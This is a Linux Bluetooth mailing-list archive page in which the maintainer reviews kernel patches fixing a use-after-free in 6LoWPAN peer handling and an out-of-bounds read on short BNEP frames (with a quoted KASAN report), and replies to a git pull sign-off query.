> reader finishes with peer->chan, the reader can use a freed l2cap_chan.
> The lookup helpers that returned raw peer pointers after rcu_read_unlock()
> also let callers outlive the peer object's kfree_rcu() lifetime.
>
> Give lowpan_peer its own refcount and make RCU lookups acquire a peer
> reference before returning a peer to code that runs outside the read-side
> critical section. Keep the peer-owned L2CAP channel reference attached to
> the peer until the last peer reference is dropped.
>
> The last peer put can happen from an RCU callback or from the network
> transmit path, so do not drop the final L2CAP channel reference directly
> from lowpan_peer_put(). Queue final peer destruction to a dedicated
> workqueue and release the channel and module references there. Store the
> peer, rather than a temporary channel reference, in the skb control block
> for unicast transmit, and put the peer after the send path is done.
> Multicast continues to use peer->chan only while it is inside the RCU
> read-side critical section.
>
> Wait for queued RCU callbacks and peer-destroy work during module exit so
> asynchronous peer destruction cannot outlive the module text.
How did you test this?
> Signed-off-by: Zhang Cen <rollkingzzc@gmail.com>
> ---
> net/bluetooth/6lowpan.c | 128 ++++++++++++++++++++++++++++++++--------
> 1 file changed, 104 insertions(+), 24 deletions(-)
>
> diff --git a/net/bluetooth/6lowpan.c b/net/bluetooth/6lowpan.c
> index 23a229ab6..7a1b0d7b0 100644
> --- a/net/bluetooth/6lowpan.c
> +++ b/net/bluetooth/6lowpan.c
> @@ -9,6 +9,8 @@
> #include <linux/etherdevice.h>
> #include <linux/module.h>
> #include <linux/debugfs.h>
> +#include <linux/refcount.h>
> +#include <linux/workqueue.h>
>
> #include <net/ipv6.h>
> #include <net/ip6_route.h>
> @@ -29,10 +31,12 @@ static struct dentry *lowpan_control_debugfs;
>
> #define IFACE_NAME_TEMPLATE "bt%d"
>
> +struct lowpan_peer;
> +
> struct skb_cb {
> struct in6_addr addr;
> struct in6_addr gw;
> - struct l2cap_chan *chan;
> + struct lowpan_peer *peer;
> };
> #define lowpan_cb(skb) ((struct skb_cb *)((skb)->cb))
>
> @@ -52,6 +56,7 @@ static bool enable_6lowpan;
> */
> static struct l2cap_chan *listen_chan;
> static DEFINE_MUTEX(set_lock);
> +static struct workqueue_struct *lowpan_peer_wq;
>
> enum {
> LOWPAN_PEER_CLOSING,
> @@ -61,6 +66,8 @@ enum {
> struct lowpan_peer {
> struct list_head list;
> struct rcu_head rcu;
> + struct work_struct destroy_work;
> + refcount_t refcnt;
> struct l2cap_chan *chan;
>
> /* peer addresses in various formats */
> @@ -95,13 +102,39 @@ static inline void peer_add(struct lowpan_btle_dev *dev,
> atomic_inc(&dev->peer_count);
> }
>
> +static inline bool lowpan_peer_get_unless_zero(struct lowpan_peer *peer)
> +{
> + return refcount_inc_not_zero(&peer->refcnt);
> +}
> +
> +static void lowpan_peer_destroy(struct work_struct *work)
> +{
> + struct lowpan_peer *peer = container_of(work, struct lowpan_peer,
> + destroy_work);
> +
> + l2cap_chan_put(peer->chan);
> + kfree(peer);
> + module_put(THIS_MODULE);
> +}
> +
> +static void lowpan_peer_put(struct lowpan_peer *peer)
> +{
> + if (refcount_dec_and_test(&peer->refcnt))
> + queue_work(lowpan_peer_wq, &peer->destroy_work);
> +}
> +
> +static void lowpan_peer_put_rcu(struct rcu_head *rcu)
> +{
> + struct lowpan_peer *peer = container_of(rcu, struct lowpan_peer, rcu);
> +
> + lowpan_peer_put(peer);
> +}
> +
> static inline bool peer_del(struct lowpan_btle_dev *dev,
> struct lowpan_peer *peer)
> {
> list_del_rcu(&peer->list);
> - kfree_rcu(peer, rcu);
> -
> - module_put(THIS_MODULE);
> + call_rcu(&peer->rcu, lowpan_peer_put_rcu);
>
> if (atomic_dec_and_test(&dev->peer_count)) {
> BT_DBG("last peer");
> @@ -179,7 +212,8 @@ static inline struct lowpan_peer *peer_lookup_dst(struct lowpan_btle_dev *dev,
> &peer->chan->dst, peer->chan->dst_type,
> &peer->peer_addr);
>
> - if (!ipv6_addr_cmp(&peer->peer_addr, nexthop)) {
> + if (!ipv6_addr_cmp(&peer->peer_addr, nexthop) &&
> + lowpan_peer_get_unless_zero(peer)) {
> rcu_read_unlock();
> return peer;
> }
> @@ -189,7 +223,8 @@ static inline struct lowpan_peer *peer_lookup_dst(struct lowpan_btle_dev *dev,
> neigh = __ipv6_neigh_lookup(dev->netdev, nexthop);
> if (neigh) {
> list_for_each_entry_rcu(peer, &dev->peers, list) {
> - if (!memcmp(neigh->ha, peer->lladdr, ETH_ALEN)) {
> + if (!memcmp(neigh->ha, peer->lladdr, ETH_ALEN) &&
> + lowpan_peer_get_unless_zero(peer)) {
> neigh_release(neigh);
> rcu_read_unlock();
> return peer;
> @@ -212,8 +247,9 @@ static struct lowpan_peer *lookup_peer(struct l2cap_conn *conn)
>
> list_for_each_entry_rcu(entry, &bt_6lowpan_devices, list) {
> peer = __peer_lookup_conn(entry, conn);
> - if (peer)
> + if (peer && lowpan_peer_get_unless_zero(peer))
> break;
> + peer = NULL;
> }
>
> rcu_read_unlock();
> @@ -361,8 +397,10 @@ static int chan_recv_cb(struct l2cap_chan *chan, struct sk_buff *skb)
> return -ENOENT;
>
> dev = lookup_dev(chan->conn);
> - if (!dev || !dev->netdev)
> + if (!dev || !dev->netdev) {
> + lowpan_peer_put(peer);
> return -ENOENT;
> + }
>
> err = recv_pkt(skb, dev->netdev, peer);
> if (err) {
> @@ -370,6 +408,8 @@ static int chan_recv_cb(struct l2cap_chan *chan, struct sk_buff *skb)
> err = -EAGAIN;
> }
>
> + lowpan_peer_put(peer);
> +
> return err;
> }
>
> @@ -380,6 +420,8 @@ static int setup_header(struct sk_buff *skb, struct net_device *netdev,
> struct ipv6hdr *hdr;
> struct lowpan_btle_dev *dev;
> struct lowpan_peer *peer;
> + struct l2cap_chan *chan;
> + u8 peer_lladdr[ETH_ALEN];
> u8 *daddr;
> int err, status = 0;
>
> @@ -388,9 +430,9 @@ static int setup_header(struct sk_buff *skb, struct net_device *netdev,
> dev = lowpan_btle_dev(netdev);
>
> memcpy(&ipv6_daddr, &hdr->daddr, sizeof(ipv6_daddr));
> + lowpan_cb(skb)->peer = NULL;
>
> if (ipv6_addr_is_multicast(&ipv6_daddr)) {
> - lowpan_cb(skb)->chan = NULL;
> daddr = NULL;
> } else {
> BT_DBG("dest IP %pI6c", &ipv6_daddr);
> @@ -406,10 +448,13 @@ static int setup_header(struct sk_buff *skb, struct net_device *netdev,
> return -ENOENT;
> }
>
> - daddr = peer->lladdr;
> - *peer_addr = peer->chan->dst;
> - *peer_addr_type = peer->chan->dst_type;
> - lowpan_cb(skb)->chan = peer->chan;
> + chan = peer->chan;
> + memcpy(peer_lladdr, peer->lladdr, ETH_ALEN);
> + *peer_addr = chan->dst;
> + *peer_addr_type = chan->dst_type;
> + lowpan_cb(skb)->peer = peer;
> +
> + daddr = peer_lladdr;
>
> status = 1;
> }
> @@ -417,8 +462,13 @@ static int setup_header(struct sk_buff *skb, struct net_device *netdev,
> lowpan_header_compress(skb, netdev, daddr, dev->netdev->dev_addr);
>
> err = dev_hard_header(skb, netdev, ETH_P_IPV6, NULL, NULL, 0);
> - if (err < 0)
> + if (err < 0) {
> + if (lowpan_cb(skb)->peer) {
> + lowpan_peer_put(lowpan_cb(skb)->peer);
> + lowpan_cb(skb)->peer = NULL;
> + }
> return err;
> + }
>
> return status;
> }
> @@ -486,6 +536,10 @@ static int send_mcast_pkt(struct sk_buff *skb, struct net_device *netdev)
> int ret;
>
> local_skb = skb_clone(skb, GFP_ATOMIC);
> + if (!local_skb) {
> + err = -ENOMEM;
> + continue;
> + }
Unrelated
>
> BT_DBG("xmit %s to %pMR type %u IP %pI6c chan %p",
> netdev->name,
> @@ -529,11 +583,17 @@ static netdev_tx_t bt_xmit(struct sk_buff *skb, struct net_device *netdev)
> }
>
> if (err) {
> - if (lowpan_cb(skb)->chan) {
> + struct lowpan_peer *peer = lowpan_cb(skb)->peer;
> +
> + if (peer) {
> + struct l2cap_chan *chan = peer->chan;
> +
> BT_DBG("xmit %s to %pMR type %u IP %pI6c chan %p",
> netdev->name, &addr, addr_type,
> - &lowpan_cb(skb)->addr, lowpan_cb(skb)->chan);
> - err = send_pkt(lowpan_cb(skb)->chan, skb, netdev);
> + &lowpan_cb(skb)->addr, chan);
> + err = send_pkt(chan, skb, netdev);
> + lowpan_peer_put(peer);
> + lowpan_cb(skb)->peer = NULL;
> } else {
> err = -ENOENT;
> }
> @@ -649,6 +709,8 @@ static struct l2cap_chan *add_peer_chan(struct l2cap_chan *chan,
> if (!peer)
> return NULL;
>
> + INIT_WORK(&peer->destroy_work, lowpan_peer_destroy);
> + refcount_set(&peer->refcnt, 1);
> peer->chan = chan;
>
> baswap((void *)peer->lladdr, &chan->dst);
> @@ -822,8 +884,6 @@ static void chan_close_cb(struct l2cap_chan *chan)
> last ? "last " : "1 ", peer);
> BT_DBG("chan %p orig refcnt %u", chan,
> kref_read(&chan->kref));
> -
> - l2cap_chan_put(chan);
> break;
> }
> }
> @@ -938,6 +998,7 @@ static int bt_6lowpan_connect(bdaddr_t *addr, u8 dst_type)
> static int bt_6lowpan_disconnect(struct l2cap_conn *conn, u8 dst_type)
> {
> struct lowpan_peer *peer;
> + struct l2cap_chan *chan;
>
> BT_DBG("conn %p dst type %u", conn, dst_type);
>
> @@ -945,11 +1006,14 @@ static int bt_6lowpan_disconnect(struct l2cap_conn *conn, u8 dst_type)
> if (!peer)
> return -ENOENT;
>
> - BT_DBG("peer %p chan %p", peer, peer->chan);
> + chan = peer->chan;
Don't think this makes any difference, perhaps the idea is to set
peer->chan to NULL?
> + BT_DBG("peer %p chan %p", peer, chan);
>
> - l2cap_chan_lock(peer->chan);
> - l2cap_chan_close(peer->chan, ENOENT);
> - l2cap_chan_unlock(peer->chan);
> + l2cap_chan_lock(chan);
> + l2cap_chan_close(chan, ENOENT);
> + l2cap_chan_unlock(chan);
> + lowpan_peer_put(peer);
>
> return 0;
> }
> @@ -1189,6 +1253,7 @@ static ssize_t lowpan_control_write(struct file *fp,
> peer = lookup_peer(conn);
> if (peer) {
> BT_DBG("6LoWPAN connection already exists");
> + lowpan_peer_put(peer);
> return -EALREADY;
> }
>
> @@ -1320,6 +1385,12 @@ static struct notifier_block bt_6lowpan_dev_notifier = {
>
> static int __init bt_6lowpan_init(void)
> {
> + int err;
> +
> + lowpan_peer_wq = alloc_ordered_workqueue("bt_6lowpan_peer", 0);
> + if (!lowpan_peer_wq)
> + return -ENOMEM;
Unrelated.
> +
> lowpan_enable_debugfs = debugfs_create_file_unsafe("6lowpan_enable",
> 0644, bt_debugfs,
> NULL,
> @@ -1328,7 +1399,14 @@ static int __init bt_6lowpan_init(void)
> bt_debugfs, NULL,
> &lowpan_control_fops);
>
> - return register_netdevice_notifier(&bt_6lowpan_dev_notifier);
> + err = register_netdevice_notifier(&bt_6lowpan_dev_notifier);
> + if (err) {
> + debugfs_remove(lowpan_enable_debugfs);
> + debugfs_remove(lowpan_control_debugfs);
> + destroy_workqueue(lowpan_peer_wq);
> + }
Unrelated.
> + return err;
> }
>
> static void __exit bt_6lowpan_exit(void)
> @@ -1346,6 +1424,8 @@ static void __exit bt_6lowpan_exit(void)
> disconnect_devices();
>
> unregister_netdevice_notifier(&bt_6lowpan_dev_notifier);
> + rcu_barrier();
> + destroy_workqueue(lowpan_peer_wq);
> }
This sounds a lot more complicated then it should be, and it is adding
a bunch of unrelated changes on top.
> module_init(bt_6lowpan_init);
> --
> 2.43.0
>
--
Luiz Augusto von Dentz
^ permalink raw reply
* Re: [PATCH v4] Bluetooth: bnep: reject short frames before parsing
From: Luiz Augusto von Dentz @ 2026-05-28 12:58 UTC (permalink / raw)
To: Zhang Cen
Cc: Marcel Holtmann, linux-bluetooth, linux-kernel, zerocling0077,
2045gemini
In-Reply-To: <20260521052611.1815693-1-rollkingzzc@gmail.com>
Hi Zhang,
On Thu, May 21, 2026 at 1:26 AM Zhang Cen <rollkingzzc@gmail.com> wrote:
>
> A BNEP peer can send a short BNEP SDU. bnep_rx_frame() reads the
> packet type byte immediately and, for control packets, reads the control
> opcode and setup UUID-size byte before proving that those bytes are
> present. bnep_rx_control() also dereferences the control opcode without
> rejecting an empty control payload.
>
> Use skb_pull_data() for the fixed fields in bnep_rx_frame() so a NULL
> return gates each dereference. Split the control handler so the frame
> path can pass an opcode that has already been pulled, and keep the
> byte-buffer wrapper for extension control payloads.
>
> Validation reproduced this kernel report:
> KASAN slab-out-of-bounds in bnep_rx_frame.isra.0+0x130c/0x1790
> The buggy address belongs to the object at ffff88800c0f7908 which belongs
> to the cache kmalloc-8 of size 8
> The buggy address is located 0 bytes to the right of allocated 1-byte
> region [ffff88800c0f7908, ffff88800c0f7909)
> Read of size 1
> Call trace:
> dump_stack_lvl+0xb3/0x140 (?:?)
> print_address_description+0x57/0x3a0 (?:?)
> bnep_rx_frame+0x130c/0x1790 (net/bluetooth/bnep/core.c:306)
> print_report+0xb9/0x2b0 (?:?)
> __virt_addr_valid+0x1ba/0x3a0 (?:?)
> srso_alias_return_thunk+0x5/0xfbef5 (?:?)
> kasan_addr_to_slab+0x21/0x60 (?:?)
> kasan_report+0xe0/0x110 (?:?)
> process_one_work+0xfce/0x17e0 (kernel/workqueue.c:3200)
> worker_thread+0x65c/0xe40 (?:?)
> __kthread_parkme+0x184/0x230 (?:?)
> kthread+0x35e/0x470 (?:?)
> _raw_spin_unlock_irq+0x28/0x50 (?:?)
> ret_from_fork+0x586/0x870 (?:?)
> __switch_to+0x74f/0xdc0 (?:?)
> ret_from_fork_asm+0x1a/0x30 (?:?)
>
> Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
> Signed-off-by: Zhang Cen <rollkingzzc@gmail.com>
> ---
> net/bluetooth/bnep/core.c | 51 ++++++++++++++++++++++++---------------
> 1 file changed, 31 insertions(+), 20 deletions(-)
>
> diff --git a/net/bluetooth/bnep/core.c b/net/bluetooth/bnep/core.c
> index 853c8d764..156cd3026 100644
> --- a/net/bluetooth/bnep/core.c
> +++ b/net/bluetooth/bnep/core.c
> @@ -206,14 +206,11 @@ static int bnep_ctrl_set_mcfilter(struct bnep_session *s, u8 *data, int len)
> return 0;
> }
>
> -static int bnep_rx_control(struct bnep_session *s, void *data, int len)
> +static int bnep_rx_control_cmd(struct bnep_session *s, u8 cmd, void *data,
> + int len)
> {
> - u8 cmd = *(u8 *)data;
> int err = 0;
>
> - data++;
> - len--;
> -
> switch (cmd) {
> case BNEP_CMD_NOT_UNDERSTOOD:
> case BNEP_SETUP_CONN_RSP:
> @@ -254,6 +251,14 @@ static int bnep_rx_control(struct bnep_session *s, void *data, int len)
> return err;
> }
>
> +static int bnep_rx_control(struct bnep_session *s, void *data, int len)
> +{
> + if (len < 1)
> + return -EILSEQ;
> +
> + return bnep_rx_control_cmd(s, *(u8 *)data, data + 1, len - 1);
> +}
> +
> static int bnep_rx_extension(struct bnep_session *s, struct sk_buff *skb)
> {
> struct bnep_ext_hdr *h;
> @@ -299,19 +304,26 @@ static int bnep_rx_frame(struct bnep_session *s, struct sk_buff *skb)
> {
> struct net_device *dev = s->dev;
> struct sk_buff *nskb;
> + u8 *data;
> u8 type, ctrl_type;
>
> dev->stats.rx_bytes += skb->len;
>
> - type = *(u8 *) skb->data;
> - skb_pull(skb, 1);
> - ctrl_type = *(u8 *)skb->data;
> + data = skb_pull_data(skb, sizeof(type));
> + if (!data)
> + goto badframe;
> + type = *data;
>
> if ((type & BNEP_TYPE_MASK) >= sizeof(__bnep_rx_hlen))
> goto badframe;
>
> if ((type & BNEP_TYPE_MASK) == BNEP_CONTROL) {
> - if (bnep_rx_control(s, skb->data, skb->len) < 0) {
> + data = skb_pull_data(skb, sizeof(ctrl_type));
> + if (!data)
> + goto badframe;
> + ctrl_type = *data;
> +
> + if (bnep_rx_control_cmd(s, ctrl_type, skb->data, skb->len) < 0) {
> dev->stats.tx_errors++;
> kfree_skb(skb);
> return 0;
> @@ -325,23 +337,22 @@ static int bnep_rx_frame(struct bnep_session *s, struct sk_buff *skb)
> /* Verify and pull ctrl message since it's already processed */
> switch (ctrl_type) {
> case BNEP_SETUP_CONN_REQ:
> - /* Pull: ctrl type (1 b), len (1 b), data (len bytes) */
> - if (!skb_pull(skb, 2 + *(u8 *)(skb->data + 1) * 2))
> + /* Pull: len (1 b), data (len * 2 bytes) */
> + data = skb_pull_data(skb, 1);
> + if (!data)
> + goto badframe;
> + if (!skb_pull(skb, *data * 2))
This still looks incorrect to me, why should we do * 2? If look at
BNEP_FILTER_NET_TYPE_SET it just use the header to pull using
get_unaligned, I know this is an existing problem but except if the
BNEP_SETUP_CONN_REQ header length works on a multiple of 2 this makes
no sense to me.
> goto badframe;
> break;
> case BNEP_FILTER_MULTI_ADDR_SET:
> - case BNEP_FILTER_NET_TYPE_SET: {
> - u8 *hdr;
> -
> - /* Pull ctrl type (1 b) + len (2 b) */
> - hdr = skb_pull_data(skb, 3);
> - if (!hdr)
> + case BNEP_FILTER_NET_TYPE_SET:
> + /* Pull: len (2 b), data (len bytes) */
> + data = skb_pull_data(skb, sizeof(u16));
> + if (!data)
> goto badframe;
> - /* Pull data (len bytes); length is big-endian */
> - if (!skb_pull(skb, get_unaligned_be16(&hdr[1])))
> + if (!skb_pull(skb, get_unaligned_be16(data)))
> goto badframe;
> break;
> - }
> default:
> kfree_skb(skb);
> return 0;
> --
> 2.43.0
>
--
Luiz Augusto von Dentz
^ permalink raw reply
* Re: [GIT PULL] bluetooth 2026-05-27
From: Luiz Augusto von Dentz @ 2026-05-28 12:49 UTC (permalink / raw)
To: Jakub Kicinski; +Cc: davem, linux-bluetooth, netdev
In-Reply-To: <20260527192430.1b490571@kernel.org>
Hi Jakub
Yeah, I'm still rebasing. Will amend that commit to add the missing sign-off.
--
Luiz Augusto von Dentz
On Wed, May 27, 2026 at 10:24 PM Jakub Kicinski <kuba@kernel.org> wrote:
>
> On Wed, 27 May 2026 17:12:46 -0400 Luiz Augusto von Dentz wrote:
> > The following changes since commit ab1513597c6cf17cd1ad2a21e3b045421b48e022:
> >
> > Bluetooth: fix UAF in l2cap_sock_cleanup_listen() vs l2cap_conn_del() (2026-05-20 16:35:47 -0400)
> >
> > are available in the Git repository at:
> >
> > git://git.kernel.org/pub/scm/linux/kernel/git/bluetooth/bluetooth.git tags/for-net-2026-05-27
> >
> > for you to fetch changes up to df35e8e0c8c4160c881bb673e3c7ee010824fbd5:
> >
> > Bluetooth: hci_sync: Reset device counters in hci_dev_close_sync() (2026-05-27 16:44:02 -0400)
>
> Are you still rebasing? Or did Linus convince you not to? :)
> Looks like we are missing your sign-off on:
>
> Commit c3d01980c64a ("Bluetooth: l2cap: clear chan->ident on ECRED reconfiguration success")
> committer Signed-off-by missing
> author email: kipreyyy@gmail.com
> committer email: luiz.von.dentz@intel.com
> Signed-off-by: Zhenghang Xiao <kipreyyy@gmail.com>
>
> If you're planning to no longer rebase your tress - don't worry about
> it. It's not a deal breaker. If you are rebasing anyway - could you
> amend?
--
Luiz Augusto von Dentz
^ permalink raw reply
page: next (older) | prev (newer) | latest
- recent:[subjects (threaded)|topics (new)|topics (active)]
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox